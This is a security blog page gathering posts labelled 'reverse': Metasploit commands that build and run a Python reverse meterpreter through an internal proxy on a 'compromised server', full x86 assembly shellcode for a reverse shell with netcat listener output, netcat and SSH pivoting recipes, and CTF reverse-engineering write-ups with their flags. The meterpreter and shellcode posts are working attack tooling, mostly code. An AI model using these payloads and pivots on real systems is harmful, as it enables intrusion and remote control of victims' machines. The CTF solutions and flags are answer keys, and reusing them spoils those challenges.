hacktracking: reverse

Showing posts with label reverse. Show all posts

# Reverse meterpreter through an internal HTTP proxy server

Attacker's host

msf > use payload/python/meterpreter/reverse_http
msf payload(reverse_http) > set lhost LOCAL_PUBLIC_IP
msf payload(reverse_http) > set lport 80
msf payload(reverse_http) > set payloadproxyhost USERNAME:PASSWORD@INTERNAL_PROXY:IP
msf payload(reverse_http) > set payloadproxyport INTERNAL_PROXY_PORT
msf payload(reverse_http) > generate -b '\x00\xff' -t raw -f met.py

msf > use exploit/multi/handler
msf exploit(handler) > set payload python/meterpreter/reverse_http
msf exploit(handler) > set lhost LOCAL_PUBLIC_IP
msf exploit(handler) > set lport 80
msf exploit(handler) > set payloadproxyhost USERNAME:PASSWORD@INTERNAL_PROXY:IP
msf exploit(handler) > set PayloadProxyPort INTERNAL_PROXY_PORT
msf exploit(handler) > run

Compromised server

# python met.py

# Reverse TCP bind shell setting source port

SERVER# cat sc.asm 
BITS 32
section .txt
global _start
_start:
; sockfd=socket(AF_INET,SOCK_STREAM,0)
; sockfd=socket(2,1,0)
push byte 0x66          ; socketcall number (102)
pop eax
cdq                     ; xor edx,edx
xor ebx,ebx
inc ebx                 ; ebx=0x00000001 (socket)
push edx                ; edx=0x00000000
push byte 0x01
push byte 0x02
mov ecx,esp
int 0x80                ; system call
xchg esi,eax
; bind(sockfd,(struct sockaddr *)&sin,sizeof(struct sockaddr_in))
; bind(sockfd,[2,4321,0],16)
push byte 0x66          ; socketcall number (102)
pop eax
inc ebx                 ; ebx=0x00000002 (bind)
push edx                ; edx=0x00000000 (Any available source IP)
push word 0xe110        ; source port = 4321
push word bx            ; 0x0002
mov ecx,esp
push byte 0x10          ; 16
push ecx
push esi
mov ecx,esp
int 0x80                ; system call
; connect(sockfd,(struct sockaddr *)&sin,sizeof(struct sockaddr_in))
; connect(sockfd,[2,1234,127.0.0.1],16)
push byte 0x66          ; socketcall number (102)
pop eax
push dword 0x01bbbb7f   ; 127.187.187.1
xor ecx,ecx
mov word [esp+1],cx     ; destination ip = 127.0.0.1
push word 0xd204        ; destination port = 1234
push word bx            ; 0x0002
mov ecx,esp
push byte 0x10          ; 16
push ecx
push esi
mov ecx,esp
inc ebx                 ; ebx=0x00000003 (connect)
int 0x80                ; system call
xchg ebx,esi
; dup2(cfd,i)
push byte 0x2
pop ecx
dup_loop:
mov byte al,0x3f        ; dup2 number (63)
int 0x80                ; system call
dec ecx
jns dup_loop
; execve("/bin/sh",shell,NULL)
xor eax,eax
mov byte al,11          ; system call number
push edx                ; \0
push long 0x68732f2f    ; hs//
push long 0x6e69622f    ; nib/
mov ebx,esp             ; first parameter
push edx
mov edx,esp             ; third parameter
push ebx
mov ecx,esp             ; second parameter
int 0x80                ; system call

SERVER# nasm -f elf sc.asm && ld -o sc sc.o
CLIENT# nc -lv 127.0.0.1 1234
SERVER# ./sc

Connection from [127.0.0.1] port 1234 [tcp/*] accepted (family 2, sport 4321)
hostname
SERVER
exit
CLIENT#

# PicoCTF 2k13 - Evergreen

$ decompile('HexGame.class')
private long[] serializedState() {
 long s[] = new long[4];
 int bit = 0;
 Hexagon ahexagon[][];
 int j = (ahexagon = board).length;
 for(int i = 0; i < j; i++) {
  Hexagon row[] = ahexagon[i];
  Hexagon ahexagon1[];
  int l = (ahexagon1 = row).length;
  for(int k = 0; k < l; k++) {
   Hexagon hex = ahexagon1[k];
   if(hex != null) {
    if(hex.team == 0)
     s[(bit + 1) / 64] |= 1L << (bit + 1) % 64;
    else if(hex.team == 1)
     s[bit / 64] |= 1L << bit % 64; bit += 2;
   }
  }
 }
 return s;
}
private string stateString() {
 string s = "";
 Hexagon ahexagon[][];
 int j = (ahexagon = board).length;
 for(int i = 0; i < j; i++) {
  Hexagon row[] = ahexagon[i];
  Hexagon ahexagon1[];
  int l = (ahexagon1 = row).length;
  for(int k = 0; k < l; k++) {
   Hexagon hex = ahexagon1[k];
   if(hex != null)
    if(hex.team == 0)
     s = (new StringBuilder(string.valueOf(s))).append("1").toString();
    else if(hex.team == 1)
     s = (new StringBuilder(string.valueOf(s))).append("2").toString();
    else
     s = (new StringBuilder(string.valueOf(s))).append("0").toString();
  }
 }
 return s;
}
public void update() {
 Hexagon ahexagon[][];
 int j = (ahexagon = board).length;
 for(int i = 0; i < j; i++) {
  Hexagon row[] = ahexagon[i];
  Hexagon ahexagon1[];
  int l = (ahexagon1 = row).length;
  for(int k = 0; k < l; k++) {
   Hexagon hex = ahexagon1[k];
   if(hex != null && wasCaptured(hex) && hex.team != -1)
    handleCaptured(hex);
  }
 }
 if(justCaptured && !draft.alwaysPlaceAfterCapture)
  justCaptured = rand.nextBoolean();
 if(draft.hasLimitedPieces() && numPieces[currTeam] <= 0)
  justCaptured = false;
 long s[] = serializedState();
 if(s[0] == 0x60a0495842121146L && s[1] == 0x8024120912018061L && s[2] == 0x8824421240220921L && s[3] == 0x1211880604501801L) {
  system.out.println("Success! Your key is on the next line.");
  system.out.println(stateString());
 }
}
$ cat evergreen.py
#!/usr/bin/python

def init(num):
 num = bin(num)[2:]
 i = len(num)
 while i < 64:
  num = '0' + num
  i += 1
 return num

def reverse(num):
 if num == '10':
  return '1'
 elif num == '01':
  return '2'
 else:
  return '0'

s0 = init(0x60a0495842121146L)
s1 = init(0x8024120912018061L)
s2 = init(0x8824421240220921L)
s3 = init(0x1211880604501801L)

s = s3 + s2 + s1 + s0
l = len(s)
result = ''

for i in xrange(0,l-2,2):
 result += reverse(s[l-2-i] + s[l-1-i])

print result
$ ./evergreen.py
1202202010201002012221020011001220120001200010202100102002100001201021001010000210201002021001012000012000220200120001012020102

# hackyou 2k14: Reverse - Newbie calculations (200 points)

# cat rev200.py
#!/usr/bin/python

N = 32

def print_flag(flag):
        f = ''
        for i in xrange(N):
                f += chr(flag[i])
        return f

def add(a, b): #sub_401000
        return a + b

def mul(a, b): #sub_401100
        return a * b

def sub(a, b): #sub_401220
        return a - b

'''
for ( i = 0; i < 32; ++i )
v117[i] = 1;
'''
flag = []
for i in xrange(N):
        flag.append(1)

'''
v0 = sub_401100(v117, 1000000000);
v1 = sub_401220(v0, 999999950);
sub_401100(v1, 2);
'''
flag[0] = mul(sub(mul(flag[0], 1000000000), 999999950), 2)

'''
v2 = sub_401000(&v118, 5000000);
v3 = sub_401220(v2, 6666666);
v4 = sub_401000(v3, 1666666);
v5 = sub_401000(v4, 45);
v6 = sub_401100(v5, 2);
sub_401000(v6, 5);
'''
flag[1] = add(mul(add(add(sub(add(flag[1], 5000000), 6666666), 1666666), 45), 2), 5)

'''
v7 = sub_401100(&v119, 1000000000);
v8 = sub_401220(v7, 999999950);
v9 = sub_401100(v8, 2);
sub_401000(v9, 2);
'''
flag[2] = add(mul(sub(mul(flag[2], 1000000000), 999999950), 2),2)

'''
v10 = sub_401000(&v120, 55);
v11 = sub_401220(v10, 3);
v12 = sub_401000(v11, 4);
sub_401220(v12, 1);
'''
flag[3] = sub(add(sub(add(flag[3], 55), 3), 4), 1)

'''
v13 = sub_401100(&v121, 100000000);
v14 = sub_401220(v13, 99999950);
v15 = sub_401100(v14, 2);
sub_401000(v15, 2);
'''
flag[4] = add(mul(sub(mul(flag[4], 100000000), 99999950), 2), 2)

'''
v16 = sub_401220(&v122, 1);
v17 = sub_401100(v16, 1000000000);
v18 = sub_401000(v17, 55);
sub_401220(v18, 3);
'''
flag[5] = sub(add(mul(sub(flag[5], 1), 1000000000), 55), 3)

'''
v19 = sub_401100(&v123, 1000000);
v20 = sub_401220(v19, 999975);
sub_401100(v20, 4);
'''
flag[6] = mul(sub(mul(flag[6], 1000000), 999975), 4)

'''
v21 = sub_401000(&v124, 55);
v22 = sub_401220(v21, 33);
v23 = sub_401000(v22, 44);
sub_401220(v23, 11);
'''
flag[7] = sub(add(sub(add(flag[7], 55), 33), 44), 11)

'''
v24 = sub_401100(&v125, 10);
v25 = sub_401220(v24, 5);
v26 = sub_401100(v25, 8);
sub_401000(v26, 9);
'''
flag[8] = add(mul(sub(mul(flag[8], 10), 5), 8), 9)

'''
v27 = sub_401000(&v126, 0);
v28 = sub_401220(v27, 0);
v29 = sub_401000(v28, 11);
v30 = sub_401220(v29, 11);
sub_401000(v30, 53);
'''
flag[9] = add(flag[9], 53)

'''
v31 = sub_401000(&v127, 49);
v32 = sub_401220(v31, 2);
v33 = sub_401000(v32, 4);
sub_401220(v33, 2);
'''
flag[10] = add(flag[10], 49)

'''
v34 = sub_401100(&v128, 1000000);
v35 = sub_401220(v34, 999999);
v36 = sub_401100(v35, 4);
sub_401000(v36, 50);
'''
flag[11] = add(mul(sub(mul(flag[11], 1000000), 999999), 4), 50)

'''
v37 = sub_401000(&v129, 1);
v38 = sub_401000(v37, 1);
v39 = sub_401000(v38, 1);
v40 = sub_401000(v39, 1);
v41 = sub_401000(v40, 1);
v42 = sub_401000(v41, 1);
v43 = sub_401000(v42, 10);
sub_401000(v43, 32);
'''
flag[12] = add(flag[12], 48)

'''
v44 = sub_401100(&v130, 10);
v45 = sub_401220(v44, 5);
v46 = sub_401100(v45, 8);
v47 = sub_401000(v46, 9);
sub_401000(v47, 48);
'''
flag[13] = add(add(mul(sub(mul(flag[13], 10), 5), 8), 9), 48)

'''
v48 = sub_401220(&v131, 1);
v49 = sub_401100(v48, -294967296);
v50 = sub_401000(v49, 55);
sub_401220(v50, 3);
'''
flag[14] = sub(add(mul(sub(flag[14], 1), -294967296), 55), 3)

'''
v51 = sub_401000(&v132, 1);
v52 = sub_401000(v51, 2);
v53 = sub_401000(v52, 3);
v54 = sub_401000(v53, 4);
v55 = sub_401000(v54, 5);
v56 = sub_401000(v55, 6);
v57 = sub_401000(v56, 7);
sub_401000(v57, 20);
'''
flag[15] = add(flag[15], 48)

'''
v58 = sub_401100(&v133, 10);
v59 = sub_401220(v58, 5);
v60 = sub_401100(v59, 8);
v61 = sub_401000(v60, 9);
sub_401000(v61, 48);
'''
flag[16] = add(add(mul(sub(mul(flag[16], 10), 5), 8), 9), 48)

'''
v62 = sub_401000(&v134, 7);
v63 = sub_401000(v62, 6);
v64 = sub_401000(v63, 5);
v65 = sub_401000(v64, 4);
v66 = sub_401000(v65, 3);
v67 = sub_401000(v66, 2);
v68 = sub_401000(v67, 1);
sub_401000(v68, 20);
'''
flag[17] = add(flag[17], 48)

'''
v69 = sub_401000(&v135, 7);
v70 = sub_401000(v69, 2);
v71 = sub_401000(v70, 4);
v72 = sub_401000(v71, 3);
v73 = sub_401000(v72, 6);
v74 = sub_401000(v73, 5);
v75 = sub_401000(v74, 1);
sub_401000(v75, 20);
'''
flag[18] = add(flag[18], 48)

'''
v76 = sub_401100(&v136, 1000000);
v77 = sub_401220(v76, 999999);
v78 = sub_401100(v77, 4);
v79 = sub_401000(v78, 50);
sub_401220(v79, 1);
'''
flag[19] = sub(add(mul(sub(mul(flag[19], 1000000), 999999), 4), 50), 1)

'''
v80 = sub_401220(&v137, 1);
v81 = sub_401100(v80, -294967296);
v82 = sub_401000(v81, 49);
sub_401220(v82, 1);
'''
flag[20] = sub(add(mul(sub(flag[20], 1), -294967296), 49), 1)

'''
v83 = sub_401220(&v138, 1);
v84 = sub_401100(v83, 1000000000);
v85 = sub_401000(v84, 54);
v86 = sub_401220(v85, 1);
v87 = sub_401000(v86, 1000000000);
sub_401220(v87, 1000000000);
'''
flag[21] = sub(add(sub(add(mul(sub(flag[21], 1), 1000000000), 54), 1), 1000000000), 1000000000)

'''
v88 = sub_401000(&v139, 49);
v89 = sub_401220(v88, 1);
v90 = sub_401000(v89, 2);
sub_401220(v90, 1);
'''
flag[22] = add(flag[22], 49)

'''
v91 = sub_401100(&v140, 10);
v92 = sub_401220(v91, 5);
v93 = sub_401100(v92, 8);
v94 = sub_401000(v93, 9);
sub_401000(v94, 48);
'''
flag[23] = add(add(mul(sub(mul(flag[23], 10), 5), 8), 9), 48)

'''
v95 = sub_401000(&v141, 1);
v96 = sub_401000(v95, 3);
v97 = sub_401000(v96, 3);
v98 = sub_401000(v97, 3);
v99 = sub_401000(v98, 6);
v100 = sub_401000(v99, 6);
v101 = sub_401000(v100, 6);
sub_401000(v101, 20);
'''
flag[24] = add(flag[24], 48)

'''
v102 = sub_401000(&v142, 55);
v103 = sub_401220(v102, 33);
v104 = sub_401000(v103, 44);
v105 = sub_401220(v104, 11);
sub_401000(v105, 42);
'''
flag[25] = add(sub(add(sub(add(flag[25], 55), 33), 44), 11), 42)

'''
sub_401000(&v143, v142);
'''
flag[26] = add(flag[26], flag[25])

'''
sub_401000(&v144, v129);
'''
flag[27] = add(flag[27], flag[12])

'''
v106 = v144;
v107 = sub_401220(&v145, 1);
v108 = sub_401000(v107, v106);
sub_401220(v108, 1);
'''
flag[28] = sub(add(sub(flag[28], 1), flag[27]), 1)

'''
v109 = v140;
v110 = sub_401220(&v146, 1);
v111 = sub_401100(v110, 1000000);
sub_401000(v111, v109);
'''
flag[29] = add(sub(flag[29], 1), flag[23])

'''
v112 = v144;
v113 = sub_401000(&v147, 1);
sub_401100(v113, v112);
'''
flag[30] = mul(add(flag[30], 1), flag[27])

'''
sub_401000(&v148, v147);
'''
flag[31] = add(flag[31], flag[30])

'''
sub_401D2B("Your flag is:");
((void (__cdecl *)(_DWORD, char))sub_401C7F)("CTF{", 1);
sub_401C7F("}\n");
'''
print 'Your flag is: CTF{' + print_flag(flag) + '}'
# ./rev200.py
Your flag is: CTF{daf8f4d816261a41a115052a1bc21ade}

# hackyou 2k14: Reverse - NotEasyTask (100 points)

ILSpy decompilation
private static void Main(string[] args)
{
 string hostname = "127.0.0.1";
 int port = 31337;
 TcpClient tcpClient = new TcpClient();
 try
 {
  Console.WriteLine("Connecting...");
  tcpClient.Connect(hostname, port);
 }
 catch (Exception)
 {
  Console.WriteLine("Cannot connect!\nFail!");
  return;
 }
 Socket client = tcpClient.Client;
 string text = "Super Secret Key";
 string text2 = Program.read();
 client.Send(Encoding.ASCII.GetBytes("CTF{"));
 string text3 = text;
 for (int i = 0; i < text3.Length; i++)
 {
  char x = text3[i];
  client.Send(Encoding.ASCII.GetBytes(Program.search(x, text2)));
 }
 client.Send(Encoding.ASCII.GetBytes("}"));
 client.Close();
 tcpClient.Close();
 Console.WriteLine("Success!");

C:\> reverse100.exe (2)
C:\> nc -l 127.0.0.1 31337 (1)
CTF{7eb67b0bb4427e0b43b40b6042670b55}

# Connecting two private hosts through a public pivot

METHOD 1 (ssh)

A reverse ssh tunnel, from host1 to pivot

host1# ssh -R localhost:1337:localhost:1234 -f -N root@pivot
host1# nc -l localhost 1234

A proxy ssh tunnel, from host2 to pivot

host2# ssh -L localhost:1234:localhost:1337 -f -N root@pivot
host2# nc localhost 1234

Diagram

host2:r ---> host2:1234 --- pivot:1337 --- host1:1234
host2:r ---> host1:1234

METHOD 2 (netcat)

Two listeners at pivot

pivot# mkfifo p
pivot# nc -nvlp 1111 0<p | nc -nvlp 2222 1>p

A running service and a pipe between the local port at host1 and the pivot

host1# nc -nvlp 1234
host1# mkfifo p
host1# nc -nv pivot 1111 0<p | nc -nv localhost 1234 1>p

A connection from host2 to pivot/host1

host2# nc -nv pivot 2222

Diagram

host2:r --> pivot:2222 --- pivot:1111 --- host1:1234
host2:r --> host1:1234